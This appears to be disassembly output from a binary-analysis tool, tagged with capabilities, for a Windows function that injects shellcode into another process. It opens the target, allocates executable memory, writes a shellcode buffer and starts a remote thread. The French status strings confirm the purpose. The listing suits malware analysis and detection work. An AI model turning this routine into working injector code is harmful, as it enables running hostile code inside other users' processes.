Function at 0x401820
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov r8d, dword [rbp + 0x10]
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401874
lea rdx, str.Impossible_douvrir_le_processus_cible.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x401a7c
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x31
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x4018df
lea rdx, str.Echec_de_lallocation_de_mmoire.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401a7c
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0x31
lea r8, [0x0040a020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x401969
lea rdx, str.Echec_dcriture_du_shellcode_dans_le_processus_cible.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401a7c
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x401a04
lea rdx, str.Echec_de_la_cration_du_thread_distant.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401a7c
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, str.Shellcode_inject_et_excut_avec_succs.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x0040ba10]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
nop
add rsp, 0x60
pop rbp
ret